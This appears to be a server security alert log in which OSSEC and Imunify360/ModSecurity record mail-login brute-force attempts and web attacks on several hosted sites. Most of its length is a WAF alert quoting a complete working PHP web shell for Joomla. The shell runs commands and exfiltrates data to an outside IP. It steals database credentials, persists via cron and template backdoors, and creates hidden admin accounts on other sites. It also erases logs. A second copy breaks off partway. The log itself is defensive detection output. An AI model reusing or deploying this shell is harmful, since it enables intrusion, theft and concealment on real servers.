2026-07-06 11:01:39 dovecot_login authenticator failed for H=([182.95.88.181]) [121.129.75.178]:54506: 535 Incorrect authentication data (set_id=nirmal@globalgroupoman.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 49.124.151.40
country_id: 1733045
description:
2026-07-06 11:01:40 dovecot_login authenticator failed for H=([14.98.28.43]) [49.124.151.40]:36448: 535 Incorrect authentication data (set_id=anoop.ps@ibmcglobal.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 113.193.187.154
country_id: 1269750
description:
2026-07-06 11:03:13 dovecot_login authenticator failed for H=(c-50-190-89-138.unallocated.comcastbusiness.net) [113.193.187.154]:34546: 535 Incorrect authentication data (set_id=prameela)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 176.10.203.54
country_id: 2661886
description:
2026-07-06 11:03:20 dovecot_login authenticator failed for H=h-176-10-203-54.a463.priv.bahnhof.se ([24.249.199.26]) [176.10.203.54]:47498: 535 Incorrect authentication data (set_id=rdcentre1)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 94.16.17.141
country_id: 2921044
description:
2026-07-06 11:02:45 dovecot_login authenticator failed for H=(adsl-181-129-31-42.une.net.co) [94.16.17.141]:60908: 535 Incorrect authentication data (set_id=prameela@ibmcglobal.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 122.160.137.230
country_id: 1269750
description:
2026-07-06 11:03:05 dovecot_login authenticator failed for H=([211.62.73.218]) [122.160.137.230]:49103: 535 Incorrect authentication data (set_id=rdcentre1@ibmcglobal.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 89.233.203.159
country_id: 2661886
description:
2026-07-06 11:04:07 dovecot_login authenticator failed for H=89-233-203-159.cust.bredband2.com ([70.166.167.47]) [89.233.203.159]:52232: 535 Incorrect authentication data (set_id=support@ibmcglobal.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 24.190.53.157
country_id: 6252001
description:
2026-07-06 11:04:38 dovecot_login authenticator failed for H=ool-18be359d.dyn.optonline.net (187-50-226-182.customer.tdatabrasil.net.br) [24.190.53.157]:49932: 535 Incorrect authentication data (set_id=support)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 101.51.52.191
country_id: 1605651
description:
2026-07-06 11:11:59 dovecot_login authenticator failed for H=([199.102.105.241]) [101.51.52.191]:57203: 535 Incorrect authentication data (set_id=corporate@globalgroupoman.com)


plugin: modsec
rule: 77839622
name: IM360 WAF: XML-RPC Suspicious blog attempt
abuser: 183.89.247.196
country_id: 1605651
domain: jaashsupplies.com
description:
IM360 WAF: XML-RPC Suspicious blog attempt||Username:31274.jaashsupplies.com||ServerName:jaashsupplies.com||Method:metaWeblog.newPost||BlogID:1||TitleSHA:ce97cb58cf14f9552b3973dbb12b09c817c5e17c||Title:0x889728b7||RSV:8.25||T:APACHE||


plugin: modsec
rule: 77350572
name: IM360 WAF: Link shorteners usage
abuser: 114.10.47.180
country_id: 1643084
domain: globalgroupoman.com
description:
IM360 WAF: Link shorteners usage||MVN:ARGS:url||MV:https://raw.githubusercontent.com/shootcannon/bypass-shell-collection/refs/heads/main/font.css||User:globalgroupoman||SC:/home/globalgroupoman/public_html/index.php||WPU:||RSV:8.25||T:APACHE||


plugin: modsec
rule: 77210831
name: IM360 WAF: Rogue web site crawler
abuser: 5.157.5.56
country_id: 453733
domain: globalgroupoman.com
description:
IM360 WAF: Rogue web site crawler||MVN:REQUEST_HEADERS:User-Agent||MV:Mozilla/5.0 <a href=\"https://clipxvk.com/\">\xe0\xb8\x84\xe0\xb8\xa3\xe0\xb8\xb4\xe0\xb8\x9b\xe0\xb9\x82\xe0\xb8\x9b\xe0\xb9\x89</a> (Windows NT 5.1; U; en) Presto/2.10.229 Version/11.60||RSV:8.25||T:APACHE||


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 65.20.167.160
country_id: 99237
description:
2026-07-06 11:20:08 dovecot_login authenticator failed for H=(189-109-108-187.customer.tdatabrasil.net.br) [65.20.167.160]:48719: 535 Incorrect authentication data (set_id=nirmal@globalgroupoman.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 202.62.88.25
country_id: 1269750
description:
2026-07-06 11:20:20 dovecot_login authenticator failed for H=([192.111.130.1]) [202.62.88.25]:56688: 535 Incorrect authentication data (set_id=nirmal)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 182.95.109.138
country_id: 1269750
description:
2026-07-06 11:20:53 dovecot_login authenticator failed for H=([37.25.36.197]) [182.95.109.138]:54644: 535 Incorrect authentication data (set_id=evin.joseph@ibmcglobal.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 103.12.197.122
country_id: 1168579
description:
2026-07-06 11:21:05 dovecot_login authenticator failed for H=([131.161.184.46]) [103.12.197.122]:39371: 535 Incorrect authentication data (set_id=evin.joseph)


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 14.164.34.166
country_id: 1562822
domain: metrodigitals.com
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/metrodigitals.com/lighting-control-systems HTTP/1.1||RSV:8.25||T:APACHE||


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 98.157.226.42
country_id: 6252001
description:
2026-07-06 11:31:14 dovecot_login authenticator failed for H=([103.176.160.146]) [98.157.226.42]:47966: 535 Incorrect authentication data (set_id=office@idealloanz.com.au)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 202.153.46.43
country_id: 1269750
description:
2026-07-06 11:31:28 dovecot_login authenticator failed for H=([198.8.94.171]) [202.153.46.43]:50320: 535 Incorrect authentication data (set_id=office)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 80.1.51.168
country_id: 2635167
description:
2026-07-06 11:32:12 dovecot_login authenticator failed for H=oldh-13-b2-v4wan-171191-cust935.vm18.cable.virginm.net ([49.124.151.84]) [80.1.51.168]:47038: 535 Incorrect authentication data (set_id=nirmal@globalgroupoman.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 65.20.131.63
country_id: 99237
description:
2026-07-06 11:32:30 dovecot_login authenticator failed for H=(mx-ll-171.6.156-39.dynamic.3bb.in.th) [65.20.131.63]:48826: 535 Incorrect authentication data (set_id=nirmal)


plugin: modsec
rule: 77210831
name: IM360 WAF: Rogue web site crawler
abuser: 172.81.129.42
country_id: 6252001
domain: globalgroupoman.com
description:
IM360 WAF: Rogue web site crawler||MVN:REQUEST_HEADERS:User-Agent||MV:Mozilla/5.0 <a href=\"https://locksmith-kansas-oh-auto-locksmith.zzz-1.com/\">web site</a> (Windows NT 5.1; U; en) Presto/2.10.229 Version/11.60||RSV:8.25||T:APACHE||


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 119.92.76.210
country_id: 1694008
description:
2026-07-06 11:38:24 dovecot_login authenticator failed for H=(186-201-12-209.customer.tdatabrasil.net.br) [119.92.76.210]:43452: 535 Incorrect authentication data (set_id=contact@idealloanz.com.au)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 49.206.27.37
country_id: 1269750
description:
2026-07-06 11:38:27 dovecot_login authenticator failed for H=([201.18.68.42]) [49.206.27.37]:49008: 535 Incorrect authentication data (set_id=no-reply@idealloanz.com.au)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 49.125.203.167
country_id: 1733045
description:
2026-07-06 11:38:45 dovecot_login authenticator failed for H=(191-40-86-42.user3p.vtal.net.br) [49.125.203.167]:39106: 535 Incorrect authentication data (set_id=no-reply)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 27.72.46.152
country_id: 1562822
description:
2026-07-06 11:38:47 dovecot_login authenticator failed for H=([61.2.246.139]) [27.72.46.152]:43259: 535 Incorrect authentication data (set_id=contact)


plugin: modsec
rule: 77209355
name: IM360 WAF: Script execution in com_sppagebuilder media assets - web shell (CVE-2026-48908)
abuser: 72.60.31.30
country_id: 6252001
domain: www.alnayza.com
description:
IM360 WAF: Script execution in com_sppagebuilder media assets - web shell (CVE-2026-48908)||MVN:REQUEST_FILENAME||MV:/media/com_sppagebuilder/assets/iconfont/icofont/fonts/EVIL0RD_1783318178113.php||RSV:8.25||T:APACHE||


plugin: modsec
rule: 77839622
name: IM360 WAF: XML-RPC Suspicious blog attempt
abuser: 136.60.51.36
country_id: 6252001
domain: kallanigroup.com
description:
IM360 WAF: XML-RPC Suspicious blog attempt||Username:41755.kallanigroup.com||ServerName:kallanigroup.com||Method:metaWeblog.newPost||BlogID:1||TitleSHA:58da4f0a692f6d055f27b778110c7374d7f89f02||Title:0x56e108d6||RSV:8.25||T:APACHE||


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 66.9.166.228
country_id: 3489940
domain: www.metrodigitals.com
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/www.metrodigitals.com/images/2024/08/29/led-wall.jpg HTTP/1.1||RSV:8.25||T:APACHE||


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 65.20.250.180
country_id: 99237
description:
2026-07-06 11:46:41 dovecot_login authenticator failed for H=(www01.irishtitan.ul.zerolag.com) [65.20.250.180]:41623: 535 Incorrect authentication data (set_id=mbt@globalgroupoman.com)


plugin: modsec
rule: 77134464
name: IM360 WAF: Infectors: PHP Injection High-Risk PHP Function
abuser: 170.205.31.43
country_id: 6252001
domain: globalgroupoman.com
description:
IM360 WAF: Infectors: PHP Injection High-Risk PHP Function||RSV:8.25||T:APACHE||SC:/home/globalgroupoman/public_html/administrator/index.php||


plugin: modsec
rule: 77140878
name: IM360 WAF: Infectors: Suspicious access attempt (webshell)!
abuser: 170.205.31.43
country_id: 6252001
domain: globalgroupoman.com
description:
IM360 WAF: Infectors: Suspicious access attempt (webshell)!||MVN:REQUEST_URI||WPU:||RSV:8.25||T:APACHE||MV:/images/params/08t3ik.php||SC:/home/globalgroupoman/public_html/images/params||


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 210.5.117.238
country_id: 1694008
description:
2026-07-06 11:47:49 dovecot_login authenticator failed for H=([49.124.146.43]) [210.5.117.238]:57317: 535 Incorrect authentication data (set_id=investmentmanager@ibmcglobal.com)


plugin: modsec
rule: 77140164
name: IM360 WAF: PHP Injection Low value
abuser: 170.205.31.43
country_id: 6252001
domain: globalgroupoman.com
description:
IM360 WAF: PHP Injection Low value||MV:<?php\nerror_reporting(0);\nob_start();\n\ndefine('_C','_jss');\ndefine('_S','a8f3k2p9x1');\n\nfunction _cb_url(){return isset($_POST['cb'])&&$_POST['cb']?$_POST['cb']:'http://208.84.101.239:8888/collect';}\nfunction _a(){return isset($_COOKIE[_C])&&md5($_COOKIE[_C])===md5(_S);}\nfunction _r($d){ob_end_clean();header('Content-Type:application/json');echo json_encode($d);exit;}\nfunction _404(){ob_end_clean();header('HTTP/1.0 404 Not Found');$h=isset($_SERVER['HTTP_HOST'])?htmlspecialchars($_SERVER['HTTP_HOST']):'';$p=isset($_SERVER['SERVER_PORT'])?$_SERVER['SERVER_PORT']:80;echo'<!DOCTYPE HTML PUBLIC \"-//IETF//DTD HTML 2.0//EN\"><html><head><title>404 Not Found</title></head><body><h1>Not Found</h1><p>The requested URL was not found on this server.</p><hr><address>Apache/2.4.58 (Debian) Server at '.$h.' Port '.$p.'</address></body></html>';exit;}\nfunction _gc($t,$k){preg_match('/public \\$'.$k.'\\s*=\\s*\\'([^\\']*)\\'/i',$t,$m);return isset($m[1])?$m[1]:'';}\n\nfunction _ex($cmd){\n    if(function_exists('shell_exec'))return @shell_exec($cmd);\n    if(function_exists('exec')){@exec($cmd,$o);return implode(\"\\n\",$o);}\n    if(function_exists('proc_open')){\n        $p=@proc_open($cmd,array(1=>array('pipe','w'),2=>array('pipe','w')),$pi);\n        if($p){$o=stream_get_contents($pi[1]);fclose($pi[1]);fclose($pi[2]);proc_close($p);return $o;}\n    }\n    if(function_exists('passthru')){ob_start();@passthru($cmd);return ob_get_clean();}\n    if(function_exists('system')){ob_start();@system($cmd);return ob_get_clean();}\n    return null;\n}\n\nfunction _cfg(){\n    $d=dirname(__FILE__);\n    for($i=0;$i<8;$i++){\n        $f=$d.DIRECTORY_SEPARATOR.'configuration.php';\n        if(@file_exists($f)){$c=@file_get_contents($f);if($c&&strpos($c,'JConfig')!==false)return $c;}\n        $np=dirname($d);if($np===$d)break;$d=$np;\n    }\n    $roots=array();\n    if(getenv('DOCUMENT_ROOT'))$roots[]=getenv('DOCUMENT_ROOT');\n    if(getenv('CONTEXT_DOCUMENT_ROOT'))$roots[]=getenv('CONTEXT_DOCUMENT_ROOT');\n    $roots[]='/var/www/html';$roots[]='/var/www';\n    foreach($roots as $x){$f=rtrim($x,'/\\\\').'/configuration.php';if(@file_exists($f)){$c=@file_get_contents($f);if($c&&strpos($c,'JConfig')!==false)return $c;}}\n    $o=trim((string)_ex('find /home /var/www -name \"configuration.php\" -maxdepth 8 2>/dev/null | head -1'));\n    if($o){$c=@file_get_contents($o);if($c&&strpos($c,'JConfig')!==false)return $c;}\n    return null;\n}\n\nfunction _wr(){\n    $r=isset($_SERVER['DOCUMENT_ROOT'])?realpath($_SERVER['DOCUMENT_ROOT']):'';\n    if(!$r){\n        $o=trim((string)_ex('find /home /var/www -name \"configuration.php\" -maxdepth 8 2>/dev/null | head -1'));\n        if($o)$r=dirname($o);\n    }\n    if(!$r){\n        $c=_cfg();\n        if($c){$lp=_gc($c,'log_path');if($lp&&strpos($lp,'/')===0)$r=realpath(dirname($lp));}\n    }\n    if(!$r)$r=isset($_SERVER['DOCUMENT_ROOT'])?$_SERVER['DOCUMENT_ROOT']:'';\n    return $r;\n}\n\nfunction _post($url,$body){\n    if(function_exists('curl_init')){\n        $ch=@curl_init($url);\n        if($ch){\n            @curl_setopt($ch,CURLOPT_POST,1);\n            @curl_setopt($ch,CURLOPT_POSTFIELDS,$body);\n            @curl_setopt($ch,CURLOPT_HTTPHEADER,array('Content-Type: application/json'));\n            @curl_setopt($ch,CURLOPT_RETURNTRANSFER,1);\n            @curl_setopt($ch,CURLOPT_TIMEOUT,5);\n            @curl_setopt($ch,CURLOPT_SSL_VERIFYPEER,0);\n            $r=@curl_exec($ch);\n            @curl_close($ch);\n            return $r;\n        }\n    }\n    if(ini_get('allow_url_fopen')){\n        @file_get_contents($url,false,stream_context_create(array('http'=>array('method'=>'POST','header'=>'Content-Type: application/json','content'=>$body,'timeout'=>5,'ignore_errors'=>true))));\n    }\n    return '';\n}\n\nfunction _cb($action,$data){\n    $p=json_encode(array('site'=>isset($_SERVER['HTTP_HOST'])?$_SERVER['HTTP_HOST']:'','url'=>(isset($_SERVER['HTTPS'])&&$_SERVER['HTTPS']?'https':'http').'://'.(isset($_SERVER['HTTP_HOST'])?$_SERVER['HTTP_HOST']:'').(isset($_SERVER['REQUEST_URI'])?$_SERVER['REQUEST_URI']:''),'action'=>$action,'data'=>$data,'ts'=>date('Y-m-d H:i:s')));\n    _post(_cb_url(),$p);\n}\n\nfunction _whoami(){\n    $u=trim((string)_ex('whoami 2>/dev/null'));\n    if(!$u&&function_exists('posix_geteuid')){$pw=@posix_getpwuid(@posix_geteuid());$u=isset($pw['name'])?$pw['name']:'';}\n    if(!$u)$u=get_current_user();\n    return $u;\n}\n\nfunction _ping(){\n    $wr=_wr();\n    $ex=_ex('id 2>/dev/null');\n    $d=array('whoami'=>_whoami(),'php'=>phpversion(),'os'=>php_uname(),'webroot'=>$wr,'host'=>isset($_SERVER['HTTP_HOST'])?$_SERVER['HTTP_HOST']:'','shell'=>__FILE__,'exec'=>$ex!==null?'on':'off');\n    _cb('ping',$d);\n    _r(array('ok'=>1,'data'=>$d));\n}\n\nfunction _persist(){\n    $wr=_wr();\n    $sf=__FILE__;\n    $sb=base64_encode(@file_get_contents($sf));\n    $sk=substr(md5(uniqid()),0,12);\n    $sh=md5($sk);\n    $out=array();\n\n    $cron=\"*/10 * * * * php -r \\\"\\\\\\$p='$sf';file_exists(\\\\\\$p)||file_put_contents(\\\\\\$p,base64_decode('$sb'));chmod(\\\\\\$p,0644);\\\" 2>/dev/null\";\n    $cr=trim((string)_ex('(crontab -l 2>/dev/null | grep -v \"'.addslashes($sf).'\"; echo \"'.addslashes($cron).'\") | crontab - 2>/dev/null && echo OK'));\n    $cron_ok=((strpos($cr,'OK')!==false)||$cr==='')?1:0;\n    if(!$cron_ok){\n        $cd='/etc/cron.d';\n        if(@is_dir($cd)&&@is_writable($cd)){\n            $cn='svc_cache_'.substr(md5($sf),0,6);\n            $cron_ok=@file_put_contents($cd.'/'.$cn,\"*/10 * * * * root php -r \\\"\\\\\\$p='$sf';file_exists(\\\\\\$p)||file_put_contents(\\\\\\$p,base64_decode('$sb'));chmod(\\\\\\$p,0644);\\\"\\n\")?1:0;\n        }\n    }\n    $out['cron']=array('ok'=>$cron_ok,'line'=>$cron);\n\n    $tpl='';\n    $c=_cfg();\n    if($c){\n        $h=_gc($c,'host');$u=_gc($c,'user');$pw=_gc($c,'password');$db=_gc($c,'db');$pfx=_gc($c,'dbprefix');\n        if($h&&$db){\n            $con=@new mysqli($h,$u,$pw,$db);\n            if(!$con->connect_error){\n                $res=$con->query(\"SELECT template FROM {$pfx}template_styles WHERE home=1 AND client_id=0 LIMIT 1\");\n                if($res&&$row=$res->fetch_assoc())$tpl=$row['template'];\n                $con->close();\n            }\n        }\n    }\n    if(!$tpl&&$wr){\n        $td=$wr.'/templates';\n        if(@is_dir($td)){\n            $it=@scandir($td);\n            if($it){foreach($it as $e){if($e!='.'&&$e!='..'&&@is_dir($td.'/'.$e)){$tpl=$e;break;}}}\n        }\n        if(!$tpl)$tpl=trim((string)_ex(\"ls -1 $wr/templates/ 2>/dev/null | grep -v '^\\.' | head -1\"));\n    }\n\n    $ti=$wr.'/templates/'.$tpl.'/index.php';\n    $bd_code='if(!preg_match(\\'/bot|crawl|spider|scan/i\\',isset($_SERVER[\\'HTTP_USER_AGENT\\'])?$_SERVER[\\'HTTP_USER_AGENT\\']:\\'\\')&&@md5(@$_COOKIE[\\'_jss\\'])==\\''.$sh.'\\'){@eval(@base64_decode(@$_POST[\\'d\\']));}';\n    $bd=\"\\n<?php $bd_code ?>\";\n\n    if(@file_exists($ti)){\n        $orig_mtime=@filemtime($ti);\n        @chmod($ti,0644);\n        $cur=@file_get_contents($ti);\n        $inject_ok=0;\n        if($cur&&strpos($cur,$sh)===false){\n            $new=rtrim($cur);\n            if(substr($new,-2)==='?>'){$new=substr($new,0,-2).$bd.\"\\n?>\";}\n            else{$new.=$bd;}\n            $inject_ok=@file_put_contents($ti,$new)?1:0;\n            if($orig_mtime)@touch($ti,$orig_mtime,$orig_mtime);\n            @chmod($ti,0444);\n        }else{$inject_ok=2;}\n        $out['template']=array('path'=>$ti,'name'=>$tpl,'injected'=>$inject_ok,'cookie_name'=>'_jss','cookie_secret'=>$sk,'cookie_hash'=>$sh,'usage'=>'Set cookie _jss='.$sk.' then POST d=base64(php_code) to any page');\n    }else{\n        $out['template']=array('error'=>'template not found','path'=>$ti);\n    }\n\n    @chmod($sf,0444);\n    $out['shell']=array('path'=>$sf);\n    _cb('persist',$out);\n    _r(array('ok'=>1,'data'=>$out));\n}\n\nfunction _find_joomla_dirs(){\n    $r=trim((string)_ex('find /home /var/www /srv /usr/local/www -maxdepth 8 -name \"configuration.php\" ! -path \"*/components/*\" ! -path \"*/modules/*\" ! -path \"*/plugins/*\" ! -path \"*/cache/*\" ! -path \"*/tmp/*\" 2>/dev/null | xargs -I{} dirname {} | sort -u'));\n    if($r)return array_filter(explode(\"\\n\",$r));\n    $found=array();\n    $bases=array('/home','/var/www','/srv','/usr/local/www');\n    $dl=ini_get('max_execution_time');\n    $ts=time();\n    $limit=$dl>0?min($dl-5,25):25;\n    foreach($bases as $base){\n        if(!@is_dir($base))continue;\n        try{\n            $it=new RecursiveIteratorIterator(new RecursiveDirectoryIterator($base,RecursiveDirectoryIterator::SKIP_DOTS),RecursiveIteratorIterator::SELF_FIRST);\n            $it->setMaxDepth(7);\n            foreach($it as $f){\n                if(time()-$ts>$limit)break 2;\n                if($f->getFilename()==='configuration.php'){\n                    $d=$f->getPath();\n                    $dp=str_replace('\\\\','/',$d);\n                    if(strpos($dp,'/components/')===false&&strpos($dp,'/modules/')===false&&strpos($dp,'/plugins/')===false&&strpos($dp,'/cache/')===false&&strpos($dp,'/tmp/')===false){\n                        $c=@file_get_contents($f->getPathname());\n                        if($c&&strpos($c,'JConfig')!==false)$found[]=$d;\n                    }\n                }\n            }\n        }catch(Exception $e){}\n    }\n    return array_unique($found);\n}\n\nfunction _lateral(){\n    $wr=_wr();\n    $out=array();\n    $sites=_find_joomla_dirs();\n    if(empty($sites)){_cb('lateral',array('error'=>'no sites found'));_r(array('ok'=>0,'data'=>array('error'=>'no sites found')));}\n    $prefixes=array('webeditor','contentmgr','sysadmin','webmaster','portaladmin','siteeditor','webmanager','cmsadmin');\n    foreach($sites as $root){\n        $root=trim(rtrim($root,'/'));\n        if(!$root||$root===$wr)continue;\n        $cf=$root.'/configuration.php';\n        if(!@file_exists($cf))continue;\n        $ct=@file_get_contents($cf);\n        if(!$ct||strpos($ct,'JConfig')===false)continue;\n        $h=_gc($ct,'host');$u=_gc($ct,'user');$pw=_gc($ct,'password');$db=_gc($ct,'db');$pfx=_gc($ct,'dbprefix');\n        if(!$h||!$db)continue;\n        $parts=explode('/',$root);\n        $domain='';\n        foreach(array('public_html','html','htdocs','www','web') as $mk){\n            $idx=array_search($mk,$parts);\n            if($idx!==false){$domain=isset($parts[$idx-1])?$parts[$idx-1]:'';break;}\n        }\n        if(!$domain)$domain=end($parts);\n        $nu=$prefixes[array_rand($prefixes)].rand(10,99);\n        $np='P@'.substr(md5(uniqid()),0,8).'!';\n        $site_out=array('root'=>$root,'domain'=>$domain,'user'=>$nu,'pass'=>$np,'admin_url'=>'https://'.$domain.'/administrator/');\n        $con=@new mysqli($h,$u,$pw,$db);\n        if(!$con->connect_error){\n            $con->query(\"SET sql_mode=''\");\n            $hh=password_hash($np,PASSWORD_BCRYPT);\n            $ne=$nu.'@secure.local';\n            $con->query(\"INSERT INTO {$pfx}users (name,username,email,password,block,sendEmail,registerDate,lastvisitDate,activation,params,lastResetTime,otpKey,otep,requireReset) VALUES ('$nu','$nu','$ne','$hh',0,1,NOW(),'0000-00-00 00:00:00','','','0000-00-00 00:00:00','','',0)\");\n            $uid=$con->insert_id;\n            if($uid){\n                $res=$con->query(\"SELECT id FROM {$pfx}usergroups WHERE title='Super Users' LIMIT 1\");\n                $gid=($res&&$row=$res->fetch_assoc())?$row['id']:8;\n                $con->query(\"INSERT INTO {$pfx}user_usergroup_map (user_id,group_id) VALUES ($uid,$gid)\");\n                $con->query(\"INSERT INTO {$pfx}assets (parent_id,lft,rgt,level,name,title,rules) SELECT MAX(id),MAX(rgt)+1,MAX(rgt)+2,1,CONCAT('com_users.user.',$uid),'$nu','{}' FROM {$pfx}assets\");\n                $site_out['admin_created']=1;\n            }else{$site_out['admin_created']=0;}\n            $con->close();\n        }else{$site_out['db_error']=$con->connect_error;}\n        $out[]=$site_out;\n    }\n    _cb('lateral',$out);\n    _r(array('ok'=>1,'data'=>$out));\n}\n\nfunction _db(){\n    $c=_cfg();\n    if(!$c){_r(array('ok'=>0,'data'=>array('error'=>'config not found')));}\n    $h=_gc($c,'host');$u=_gc($c,'user');$pw=_gc($c,'password');$db=_gc($c,'db');$pfx=_gc($c,'dbprefix');\n    $out=array('db'=>array('host'=>$h,'user'=>$u,'pass'=>$pw,'db'=>$db,'prefix'=>$pfx));\n    $sql=isset($_POST['sql'])?$_POST['sql']:'';\n    $add_admin=isset($_POST['mkadmin'])?1:0;\n    $con=@new mysqli($h,$u,$pw,$db);\n    if($con->connect_error){_cb('db',array('error'=>$con->connect_error));_r(array('ok'=>0,'data'=>array('error'=>$con->connect_error)));}\n    if($sql){\n        $res=$con->query($sql);\n        if($res===true){$out['query']=array('affected'=>$con->affected_rows);}\n        elseif($res){$rows=array();while($row=$res->fetch_assoc())$rows[]=$row;$out['query']=array('rows'=>$rows,'count'=>count($rows));}\n        else{$out['query']=array('error'=>$con->error);}\n    }\n    if($add_admin){\n        $pfxs=array('webeditor','contentmgr','sysadmin','webmaster','portaladmin','siteeditor','webmanager','cmsadmin');\n        $nu=$pfxs[array_rand($pfxs)].rand(10,99);\n        $np='P@'.substr(md5(uniqid()),0,8).'!';\n        $hh=password_hash($np,PASSWORD_BCRYPT);\n        $ne=$nu.'@secure.local';\n        $con->query(\"SET sql_mode=''\");\n        $con->query(\"INSERT INTO {$pfx}users (name,username,email,password,block,sendEmail,registerDate,lastvisitDate,activation,params,lastResetTime,otpKey,otep,requireReset) VALUES ('$nu','$nu','$ne','$hh',0,1,NOW(),'0000-00-00 00:00:00','','','0000-00-00 00:00:00','','',0)\");\n        $uid=$con->insert_id;\n        if($uid){\n            $res=$con->query(\"SELECT id FROM {$pfx}usergroups WHERE title='Super Users' LIMIT 1\");\n            $gid=($res&&$row=$res->fetch_assoc())?$row['id']:8;\n            $con->query(\"INSERT INTO {$pfx}user_usergroup_map (user_id,group_id) VALUES ($uid,$gid)\");\n            $con->query(\"INSERT INTO {$pfx}assets (parent_id,lft,rgt,level,name,title,rules) SELECT MAX(id),MAX(rgt)+1,MAX(rgt)+2,1,CONCAT('com_users.user.',$uid),'$nu','{}' FROM {$pfx}assets\");\n            $out['admin']=array('user'=>$nu,'pass'=>$np,'url'=>'https://'.(isset($_SERVER['HTTP_HOST'])?$_SERVER['HTTP_HOST']:'').'/administrator/');\n        }else{$out['admin']=array('error'=>$con->error);}\n    }\n    $con->close();\n    _cb('db',$out);\n    _r(array('ok'=>1,'data'=>$out));\n}\n\nfunction _logclean(){\n    $sf=basename(__FILE__);\n    $sd=basename(dirname(__FILE__));\n    $out=array();\n    $logs=array('/var/log/apache2/access.log','/var/log/nginx/access.log','/var/log/httpd/access_log','/var/log/apache2/error.log','/var/log/nginx/error.log');\n    $ex=trim((string)_ex('find /home -maxdepth 5 \\( -name \"access_log\" -o -name \"access.log\" \\) 2>/dev/null'));\n    if($ex)foreach(explode(\"\\n\",$ex) as $l){if(trim($l))$logs[]=trim($l);}\n    foreach($logs as $lf){\n        if(!@file_exists($lf)||!@is_writable($lf))continue;\n        $lines=@file($lf,FILE_IGNORE_NEW_LINES);\n        if($lines===false)continue;\n        $before=count($lines);\n        $lines=array_filter($lines,function($ln)use($sf,$sd){return strpos($ln,$sf)===false&&strpos($ln,$sd)===false;});\n        $after=count($lines);\n        @file_put_contents($lf,implode(\"\\n\",$lines).\"\\n\");\n        $out['logs'][]=array('file'=>$lf,'removed'=>$before-$after);\n    }\n    $c=_cfg();\n    if($c){\n        $h=_gc($c,'host');$u=_gc($c,'user');$pw=_gc($c,'password');$db=_gc($c,'db');$pfx=_gc($c,'dbprefix');\n        if($h&&$db){\n            $con=@new mysqli($h,$u,$pw,$db);\n            if(!$con->connect_error){\n                $con->query(\"DELETE FROM {$pfx}session WHERE time < UNIX_TIMESTAMP()-3600\");\n                $r1=$con->affected_rows;\n                $con->query(\"TRUNCATE TABLE {$pfx}action_logs\");\n                $out['db']=array('sessions_cleaned'=>$r1,'action_logs'=>'truncated');\n                $con->close();\n            }\n        }\n    }\n    _cb('logclean',$out);\n    _r(array('ok'=>1,'data'=>$out));\n}\n\nif(!_a()){_404();}\n\n$act=isset($_POST['a'])?$_POST['a']:'';\nif($act==='x'&&isset($_POST['d'])){ob_end_clean();@eval(@base64_decode($_POST['d']));exit;}\nswitch($act){\n    case'ping':    _ping();    break;\n    case'persist': _persist(); break;\n    case'lateral': _lateral(); break;\n    case'db':      _db();      break;\n    case'logclean':_logclean();break;\n    default:       _404();\n}\n||MVN:ARGS:data||RSV:8.25||T:APACHE||SC:/home/globalgroupoman/public_html/administrator/index.php||


plugin: modsec
rule: 77140881
name: IM360 WAF: Infectors: Arbitrary code execution vulnerability in Request URI
abuser: 170.205.31.43
country_id: 6252001
domain: globalgroupoman.com
description:
IM360 WAF: Infectors: Arbitrary code execution vulnerability in Request URI||RSV:8.25||T:APACHE||SC:/home/globalgroupoman/public_html/administrator/index.php||


plugin: modsec
rule: 77140880
name: IM360 WAF: Infectors: PHP Injection Attack
abuser: 170.205.31.43
country_id: 6252001
domain: globalgroupoman.com
description:
IM360 WAF: Infectors: PHP Injection Attack||MVN:MATCHED_VAR||MV:<?php\nerror_reporting(0);\nob_start();\n\ndefine('_c','_jss');\ndefine('_s','a8f3k2p9x1');\n\nfunction _cb_url(){return isset($_post['cb'])&&$_post['cb']?$_post['cb']:'http://208.84.101.239:8888/collect';}\nfunction _a(){return isset($_cookie[_c])&&md5($_cookie[_c])===md5(_s);}\nfunction _r($d){ob_end_clean();header('content-type:application/json');echo json_encode($d);exit;}\nfunction _404(){ob_end_clean();header('http/1.0 404 not found');$h=isset($_server['http_host'])?htmlspecialchars($_server['http_host']):'';$p=isset($_server['server_port'])?$_server['server_port']:80;echo'<!doctype html public \"-//ietf//dtd html 2.0//en\"><html><head><title>404 not found</title></head><body><h1>not found</h1><p>the requested url was not found on this server.</p><hr><address>apache/2.4.58 (debian) server at '.$h.' port '.$p.'</address></body></html>';exit;}\nfunction _gc($t,$k){preg_match('/public \\$'.$k.'\\s*=\\s*\\'([^\\']*)\\'/i',$t,$m);return isset($m[1])?$m[1]:'';}\n\nfunction _ex($cmd){\n    if(function_exists('shell_exec'))return @shell_exec($cmd);\n    if(function_exists('exec')){@exec($cmd,$o);return implode(\"\\n\",$o);}\n    if(function_exists('proc_open')){\n        $p=@proc_open($cmd,array(1=>array('pipe','w'),2=>array('pipe','w')),$pi);\n        